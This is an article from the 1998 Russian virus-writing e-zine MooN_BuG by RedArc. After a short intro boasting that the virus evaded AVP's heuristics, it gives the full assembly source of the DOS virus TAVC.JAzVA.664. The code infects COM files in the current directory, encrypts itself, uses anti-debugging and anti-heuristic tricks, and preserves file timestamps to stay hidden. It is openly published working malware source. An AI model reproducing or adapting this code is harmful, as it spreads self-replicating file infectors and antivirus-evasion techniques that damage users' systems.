[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 5, May 1998                                           file 005

                             Вирус TAVC.JAzVA.664
                                                              by RedArc

Выдался  у  меня  как  то  час  свободного  времени  и  решил  я посмотреть на
состояние  эвристиков  в  AVP  и  DrWeb.  Для  этого  накидал простую зверушку
(инфицирование  COM-программ  в  текущем  каталоге), добавил несколько дешевых
пятиминутных   антиэвристических   приемов...   и  офигел: ни один из попавших
под  руку   антивирусов   (даже   висящий   в   памяти AVP Monitor) не нашел в
действиях   программы     jazva.com   ничего   предрассудительного...   Только
эвристик   DrWeb  оказался   на  высоте  -  не пошел ни на какие уговоры и был
тверд - COM.CRYPT.VIRUS
Разумеется,   это  не  говорит  об  абсолютной  надежности  анализатора  кода,
созданного  Даниловым  (он прекрасно обламывается другими приемами), но радует
то, что хоть один отечественный антивирус оказался на высоте.

=== Cut ===
Model Tiny
jumps
.code
.486
org 100h
_AAA equ START_Crypt
START:
     call BEGIN
     db 100h dup (90h)
     ret
BEG1:
     mov ax,ss
     cli
     mov ss,ax
     pop ax
     sti
     mov si,_AAA
     pop bx
     add si,bp
     pop cx
     push si
     ret
J_1:
     xchg cx,dx
     jmp J_2
BXDX_Fraud:
     push cx
     pushf
     mov ax,bp
     push cs
     sub ax, BXDX_Offs-INTR_LENGTH
     push ax
     xor bx,bx
     mov ah,30h
     mov es,bx
     jmp dword ptr es:[21H*4]
INTR_LENGTH equ $-BXDX_Fraud
     add bx,ax
     push cs
     mov dx,bx
     pop es
     sub bx,dx
     pop cx
     ret
J_2:
     xchg bx,cx
     xchg ax,dx
     jmp J_3
DX_Fraud:
     xchg ax,bx
     std
     xor dx,cx
     cld
     xchg ax,bx
     ret
J_3:
     xchg ax,bx
     xchg cx,dx
     jmp J_4
XCHG_:
     cli
     xchg dx,cx
     sti
     xchg bx,cx
     cli
     xchg ax,dx
     sti
     xchg ax,bx
     cli
     xchg cx,dx
     sti
     xchg bx,cx
     cli
     xchg ax,dx
     sti
     ret
J_4:
     xchg bx,cx
     xchg ax,dx
     xchg ax,bx
     jmp J_5
BG1 equ $-BEG1
BXDX_Offs equ $-BXDX_Fraud
BEGIN:
     pop di
     mov bp, word ptr cs:[101h]
     add bp,di
     push si
     mov si,bp
     add si,START_Crypt
     push di
     mov di,si
     mov cx,S_C_L
     mov ax,3500h
     int 21h
     push es
     push bx
     mov ax,2500h
     push cs
     pop ds
     mov dx,bp
     sub dx,BG1
     push dx
     int 21h
     push cs
     pop es
CRYPT_Loop:
     call BXDX_Fraud
     lodsw
     dec ax
     xor ax,cx
     call DX_Fraud
     xchg al,bh
     call DX_Fraud
     xchg ah,bl
     call DX_Fraud
     call XCHG_
     call DX_Fraud
     jmp J_1
J_5:
     xor ax,cx
     inc ax
     stosw
     call BXDX_Fraud
     loop CRYPT_Loop
     pop si
     add si,8
     mov di,si
     lodsw
     add ax,L_1
     stosw
     div cx
     mov si,bp
     add si,START_Crypt
     mov di,si
     mov cx,S_C_L
     jmp CRYPT_Loop
START_Crypt equ $-BEGIN
S_C_0:
      cli
      pusha
      pushf
      popa
      popf
      sti
      jmp S_C_0
S_C_1:
     mov di,bp
     sub di,BG1-2
     mov ax,_AAA
     stosw
     ret
db 0h,'JAzVA',0h
L_1 equ $-S_C_0
     push si
     mov si,80h
     mov dx,word ptr cs:[si]
     mov word ptr cs:[si],2501h
     mov ax, word ptr cs:[80h]
     dec ax
     mov word ptr [si],dx
     pop si
     pop dx
     pop ds
     int 21h
     call S_C_1
     pop di
     pop si
     push cs
     pop ds
     sub di,si
     push cs
     mov cx,bp
     pop es
     xchg si,di
     add cx,OLD_BYTE
     xchg cx,si
     rep movsb
     mov dx,bp
     add dx,END_Crypt
     call SETDTA
     call FINDFIRST
TR1:
     jb Not_Found
     jmp Test_File
Not_Found:
     mov dx,80h
     call SETDTA
     xor ax,ax
     inc ah
     jmp ax
;----------------------------------
Save_DXCX equ $-BEGIN
dw ?
dw ?
C_Mask equ $-BEGIN
db 0h,0h,0h,0h,0h,0h
db 00fh
BG_1:
OLD_BYTE equ $-BEGIN
         db 90h,90h,90h
BEG_LEN equ $-BG_1
;-----------------------------------
Test_File:
     push bx
     add bx,1ah
     mov ax,[bx]
     cmp ax,1000
     jge a2
     jmp short Find_Next
a2:
     and ax,0f000h
     cmp ax,0f000h
     jnz Len_Tested
Find_Next:
     pop bx
     mov ah,4fh
     int 21h
     jmp TR1
Len_Tested:
     add bx,04h
     xchg dx,bx
     push dx
     mov ax,4301h
     xor cx,cx
     int 21h
     mov ax,3d02h
     int 21h
     xchg ax,bx
     call LoadDateTime
     mov ah,3fh
     mov cx,BEG_LEN
     mov dx,bp
     add dx,OLD_BYTE
     push dx
     int 21h
     pop si
     cmp byte ptr ds:[si],0E8h
     je Close_File
     jmp short Uses_File
Close_File:
     call SaveDateTime
     mov ah,3eh
     int 21h
     pop dx
     mov si,dx
     sub si,09h
     lodsw
     xchg ax,cx
     mov ax,4301h
     int 21h
     jmp Find_Next
Uses_File:
     call MoveEnd
     add ax,BG1
     push ax

     mov di,bp
     add di,LBL
     mov si,bp
     sub si,BG1
     mov cx, END_Crypt
     add cx, BG1
     rep movsw

     mov si,LBL+BG1+START_Crypt
     add si,bp
     mov di,si
     mov cx, S_C_L
     push bx
CRYPT_Loop1:
     lodsw
     xor ax,cx
     xchg al,bh
     xchg ah,bl
     xchg ax,bx
     xor ax,cx
     inc ax
     stosw
     loop CRYPT_Loop1
     pop bx

     mov ah,40h
     mov dx,bp
     add dx,LBL
     mov cx,BG1
     add cx,END_Crypt
     int 21h

     mov ax,4200h
     xor cx,cx
     xor dx,dx
     int 21h
     push cs
     pop es
     push cs
     pop ds
     pop ax
     mov si,bp
     add si,OLD_BYTE
     mov byte ptr cs:[si],0e8h
     sub ax,3
     mov word ptr cs:[si+1],ax
     mov ah,40h
     mov dx,si
     mov cx,BEG_LEN
     int 21h
     jmp Close_File

MoveEnd:
     mov ax,4202h
     xor cx,cx
     xor dx,dx
     int 21h
     ret
SETDTA:
     mov ah,1ah
     mov bx,dx
     int 21h
     ret
FINDFIRST:
     cld
     mov ah, 4eh
     mov cx, 0ffffh
     mov dx,bp
     add dx,C_Mask
     mov si,dx
     mov byte ptr [si],'*'
     inc si
     mov byte ptr [si],'.'
     inc si
     mov byte ptr [si],'c'
     inc si
     mov byte ptr [si],'o'
     inc si
     mov byte ptr [si],'m'
     int 21h
     mov si,bp
     add si,C_Mask
     mov byte ptr [si],0h
     inc si
     mov byte ptr [si],0h
     inc si
     mov byte ptr [si],0h
     inc si
     mov byte ptr [si],0h
     inc si
     mov byte ptr [si],0h
     ret
LoadDateTime:
     mov ax,5700h
     int 21h
     push es
     push ds
     pop es
     mov di,bp
     add di,Save_DXCX
     xchg ax,dx
     stosw
     xchg ax,cx
     stosw
     pop es
     ret
SaveDateTime:
     mov si,bp
     add si,Save_DXCX
     lodsw
     xchg ax,dx
     lodsw
     xchg ax,cx
     mov ax,5701h
     int 21h
     ret
db 0h,'This virus was created by TAVC',0h
END_Crypt equ $-BEGIN
S_C_L equ $-S_C_0
DTA db 80h dup (?)
LBL equ $-BEGIN
END START
=== Cut ===